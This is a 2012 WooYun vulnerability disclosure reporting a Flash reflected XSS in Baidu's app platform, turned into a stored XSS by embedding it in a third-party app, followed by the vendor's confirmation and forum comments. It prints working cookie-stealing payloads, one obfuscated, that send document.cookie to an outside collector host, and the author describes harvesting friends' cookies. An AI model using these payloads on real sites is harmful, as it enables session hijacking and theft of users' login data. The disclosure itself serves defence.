当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2012-08318

漏洞标题:百度应用存储型XSS - Diao丝反射型XSS又一次成高富帅了~

相关厂商:百度

漏洞作者: gainover

提交时间:2012-06-14 22:27

修复时间:2012-07-29 22:28

公开时间:2012-07-29 22:28

漏洞类型:xss跨站脚本攻击

危害等级:高

自评Rank:15

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2012-06-14: 细节已通知厂商并且等待厂商处理中
2012-06-15: 厂商已经确认,细节仅向厂商公开
2012-06-25: 细节向核心白帽子及相关领域专家公开
2012-07-05: 细节向普通白帽子公开
2012-07-15: 细节向实习白帽子公开
2012-07-29: 细节向公众公开

简要描述:

感谢在zone里交流的时候,random_的一个回复,给了我灵感~ ,他的原帖是:http://tmxk.org/thread-498-1-1.html, 但是这个帖子里,所得到的是应用自己网站的cookies,那么我们能不能跨域获取百度的cookies呢? 答案是可以,见详情:
危害是: 百度应用,可从搜索入口,主页收藏处入口等处进入,流量大,而且攻击隐蔽,因而会导致大量cookies信息泄漏。
---------------
BTW,牢骚一下,以前俺举报某个的百度应用赤裸裸的刷流量,最后那开发者竟然都没受什么惩罚,太黑了,白白的愤青了一把。
---------------

详细说明:

1. 首先存在安全风险的是iframe类型的应用。
2. 该类应用可以加载开发者自己的iframe.
3. 这看起来合情合理,毕竟iframe有域的控制。开发者无发跨域获取到百度的cookies信息。
4. 但是,如果app.baidu.com 域名下存在一个 含有XSS缺陷的文件呢? 情况就不一样了。
5. 常规XSS,估计被扫描器扫描的差不多了,加上浏览器的XSS过滤器,找到Dom类型的也几乎不可能了,还是拿FLASH开刀。
6. filetype:swf site:app.baidu.com
7. 找到以下flash文件。http://app.baidu.com/static/12161058/appweb/flash/APPProxy.swf
8. 之前给你们提交过FLASH XSS的。 ( WooYun: 播放器代码编写未考虑安全问题导致跨站 [继续FLASH] ),因此分析过程我也不多说了。
9. 直接构造利用代码(chrome 下的测试代码,浏览器兼容的代码后面给出)。

http://app.baidu.com/static/12161058/appweb/flash/APPProxy.swf?logHandler=(function(){if(!window.x){location.href%3d\'http://xsst.sinaapp.com/rcookie.php?cookie%3d\'%2bencodeURIComponent(document.cookie);window.x=1}})()


10. 上面的代码,会将百度用户的数据,发送到我网站。
11. 光是上面,只是一个反射型的XSS。攻击不够隐蔽。
12. 但是在本文的场景中, 如果我们将利用代码,插入到我们自己的百度应用中呢?
这个反射型的XSS,将会华丽的转身,变为存储型XSS。
屌丝就是这样变高富帅的!!!!!!!!
13. 这里我选择我一个用户量十分小的百度应用。(仅测试)
在应用末尾加上下面的代码 (兼容Chrome 和 IE 等...)。

<script>
var IF='<iframe src="http://app.baidu.com/static/12161058/appweb/flash/APPProxy.swf?logHandler=(function(){if(!window.x){location.href%3d\'http://xsst.sinaapp.com/rcookie.php?cookie%3d\'%2bencodeURIComponent(document.cookie)%2b\'%26refer%3d=\'%2bencodeURIComponent(location.href);window.x=1}})()"></iframe>';
var UA = navigator.userAgent.toLowerCase();
if(UA.indexOf("webkit")>-1){
//chrome, nothing to do
}else{
//ie & ff
IF='<iframe src="http://app.baidu.com/static/12161058/appweb/flash/APPProxy.swf?logHandler=(function(){if(!window.x){location.href=String.fromCharCode(106,97,118,97,115,99,114,105,112,116,58,34,60,104,116,109,108,62,60,98,111,100,121,62,60,105,102,114,97,109,101,32,105,100,61,39,99,105,39,62,60,47,105,102,114,97,109,101,62,60,115,99,114,105,112,116,62,100,111,99,117,109,101,110,116,46,103,101,116,69,108,101,109,101,110,116,66,121,73,100,40,39,99,105,39,41,46,115,114,99,61,92,39,104,116,116,112,58,47,47,120,115,115,116,46,115,105,110,97,97,112,112,46,99,111,109,47,114,99,111,111,107,105,101,46,112,104,112,63,99,111,111,107,105,101,61,92,39,43,101,110,99,111,100,101,85,82,73,67,111,109,112,111,110,101,110,116,40,100,111,99,117,109,101,110,116,46,99,111,111,107,105,101,41,59,60,92,47,115,99,114,105,112,116,62,60,47,98,111,100,121,62,60,47,104,116,109,108,62,34);window.x=1}})()"></iframe>';
}
document.write(IF);
</script>


14. 接着,我用自己的小号进行访问,当然还将应用发送给了一些朋友访问。


15. 最后,我们就在接受cookies的页面,可以看到得到的cookies数据。
以下是我收到的cookies, 如果是挂在一个流量大的应用里,获取到的cookies肯定更多了


16. 可见,一个反射型XSS,特别是一个FLASH 反射型XSS,在这种场景下,危害是巨大的,给自己的应用加恶意代码,可能不太合适。我们当然还有其它的方式。例如,黑掉别人应用所在服务器(已经尝试过一次)或者是应用本身存在存储型XSS的时候,那么他人的应用就成为了我们获取cookies的傀儡。
17. 至于获取了这些cookies,可以进一步做什么,就不是本文的演示范围了。
18. 最后是一个总结。


漏洞证明:

以上测试代码,在WIN7 / ie+chrome下进行测试成功。
由于百度应用可以从搜索入口,首页收藏入口等地进入,使用量自然大。
因此,此漏洞,还可被有心的第三方开发者用于收集个人信息。
另外,就是攻击十分隐蔽,普通应用使用者,完全无法知道自己的登录信息,已经被他人获取。

修复方案:

iframe一层可以保证安全,但是如果iframe里再iframe一次,就说不一定了,因此要严格控制同域下的文件安全性。
对app.baidu.com 域名下。
flash文件代码需严格审查,对其中调用JS函数的接口部分进行严格过滤,防止此类问题的产生。

版权声明:转载请注明来源 gainover@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:10

确认时间:2012-06-15 12:05

厂商回复:

感谢提交,用一个页面包含一个存储型xss链接,在利用php文件接收。其实最根本的原因还是起初的反射型XSS,这只是其中一种利用方法。对于根本问题,我们会尽快修复

最新状态:

暂无


漏洞评价:

评论

  1. 2012-06-14 22:31 | imlonghao ( 普通白帽子 | Rank:730 漏洞数:74 )

    沙发!膜拜小三!

  2. 2012-06-14 22:45 | rayh4c ( 普通白帽子 | Rank:240 漏洞数:23 )

    牛擦了,反射型变存储型,钓丝变高富帅!!!

  3. 2012-06-14 22:52 | FlyR4nk ( 普通白帽子 | Rank:119 漏洞数:18 )

    洞主的小人画的不错!

  4. 2012-06-14 23:02 | gainover 认证白帽子 ( 核心白帽子 | Rank:1710 漏洞数:93 | PKAV技术宅社区! -- gainover| 工具猫网络-...)

    @FlyR4nk = = 又是一个管理? 可以看到俺的图。。。

  5. 2012-06-14 23:14 | px1624 ( 普通白帽子 | Rank:1036 漏洞数:175 | px1624)

    希望以后有团队了的话,同一个团队的可以看到彼此的帖子内容、、。。

  6. 2012-06-14 23:18 | imlonghao ( 普通白帽子 | Rank:730 漏洞数:74 )

    @gainover 我今天才知道乌云有N个管理。。

  7. 2012-06-14 23:21 | gainover 认证白帽子 ( 核心白帽子 | Rank:1710 漏洞数:93 | PKAV技术宅社区! -- gainover| 工具猫网络-...)

    @imlonghao = = 我一直以为就 xsser 一个,前些天又看到一个。

  8. 2012-06-14 23:25 | shine 认证白帽子 ( 普通白帽子 | Rank:831 漏洞数:77 | coder)

    想想也知道,幕后肯定是个团队啊!网站开发、网站维护、漏洞维护、舆论公关等,另外,基情也不是一个人能撞出火花来的!

  9. 2012-06-14 23:52 | gainover 认证白帽子 ( 核心白帽子 | Rank:1710 漏洞数:93 | PKAV技术宅社区! -- gainover| 工具猫网络-...)

    @shine = = 基情论者。

  10. 2012-06-15 02:18 | only_guest 认证白帽子 ( 普通白帽子 | Rank:800 漏洞数:75 | PKAV技术宅社区-专心做技术.PKAV已经暂停...)

    @gainover 乌云是有黑幕的...哈哈

  11. 2012-06-15 08:16 | 蟋蟀哥哥 ( 普通白帽子 | Rank:363 漏洞数:57 | 巴蜀人士,80后宅男,自学成才,天朝教育失败...)

    @only_guest 你知道的太多了

  12. 2012-06-15 09:04 | 凤凰 ( 路人 | Rank:15 漏洞数:6 | 涅磐)

    @gainover PHP has encountered an Access Violation at 7C81BB52 你的博客是什么情况?

  13. 2012-06-15 09:11 | possible ( 普通白帽子 | Rank:373 漏洞数:32 | everything is possible!)

    @凤凰 博客在哪里

  14. 2012-06-15 10:11 | gainover 认证白帽子 ( 核心白帽子 | Rank:1710 漏洞数:93 | PKAV技术宅社区! -- gainover| 工具猫网络-...)

    @凤凰 = = 你说的是我的网站么?不知道咧,用的国外的虚拟主机,我都没怎么管理,哈哈。 PHP has encountered an Access Violation at 7C81BB52 。。。看起来像是应用程序错误。

  15. 2012-06-15 10:52 | 百度(乌云厂商)

    flash洞主又来了, 其实这种控制不好弄,想想SAE吧。

  16. 2012-06-15 10:56 | possible ( 普通白帽子 | Rank:373 漏洞数:32 | everything is possible!)

    @gainover flash洞主 这个称呼很有意思

  17. 2012-06-15 11:43 | gainover 认证白帽子 ( 核心白帽子 | Rank:1710 漏洞数:93 | PKAV技术宅社区! -- gainover| 工具猫网络-...)

    @百度 app.baidu.com 域名下的文件,应该是在你们控制之下的吧。只要控制好这个域名下的flash文件, 应该不难吧。

  18. 2012-06-15 12:14 | gainover 认证白帽子 ( 核心白帽子 | Rank:1710 漏洞数:93 | PKAV技术宅社区! -- gainover| 工具猫网络-...)

    这是一个反射型XSS与正常的存储行为相结合的情况,最终XSS的效果,是在app.baidu.com域下所展现,危害程度,效果和存储型XSS是一样的。

  19. 2012-06-15 13:58 | PiaCa ( 普通白帽子 | Rank:129 漏洞数:10 | 简单点!啪......嚓~~)

    @百度 太坏了,把sae也拉下水了。

  20. 2012-06-15 15:25 | FallenAngel ( 路人 | 还没有发布任何漏洞 | 啊喔呃咿呜喻。。0.0)

    @gainover 这个跟XSS没啥关系吧,如果可以进行应用编辑了 大可以直接在文件后面用<script>嵌入其他js文件(如http://xxx/a.js)的链接并执行 这样也是可以的吧~~这个应该就是一个反射的XSS

  21. 2012-06-15 15:28 | FallenAngel ( 路人 | 还没有发布任何漏洞 | 啊喔呃咿呜喻。。0.0)

    或者iframe 调用其他js或者php文件

  22. 2012-06-15 17:06 | px1624 ( 普通白帽子 | Rank:1036 漏洞数:175 | px1624)

    @FallenAngel 是管理员吗?没漏洞怎么都有号、、

  23. 2012-06-15 18:46 | gainover 认证白帽子 ( 核心白帽子 | Rank:1710 漏洞数:93 | PKAV技术宅社区! -- gainover| 工具猫网络-...)

    @FallenAngel http://tmxk.org/thread-498-1-1.html 这个帖子里的描述,确实没什么危害。 但是它利用百度应用的这个想法是挺好的。我只是借鉴了它这个想法。

  24. 2012-06-15 21:41 | FallenAngel ( 路人 | 还没有发布任何漏洞 | 啊喔呃咿呜喻。。0.0)

    @gainover 嗯啊 确实是个好方法

  25. 2012-06-15 21:41 | FallenAngel ( 路人 | 还没有发布任何漏洞 | 啊喔呃咿呜喻。。0.0)

    @px1624 我是来打酱油的 囧

  26. 2012-07-30 09:10 | Xhm1n9 ( 实习白帽子 | Rank:57 漏洞数:13 | bug)

    刺总那篇文章确实不错,在这里又一次验证了

  27. 2012-09-28 00:15 | 乌帽子 ( 路人 | Rank:29 漏洞数:3 | 学习黑客哪家强 | 中国山东找蓝翔 | sql...)

    把反射性存储到应用里就变成存储型的了~[img=http://www.wooyun.org/captcha.php?0.4836608215700835]

  28. 2013-03-10 15:02 | 0x0F ( 普通白帽子 | Rank:231 漏洞数:60 | 尖刀安全 (JDSec.Com).......................)

    [img src="http://www.wooyun.org/captcha.php"][/img]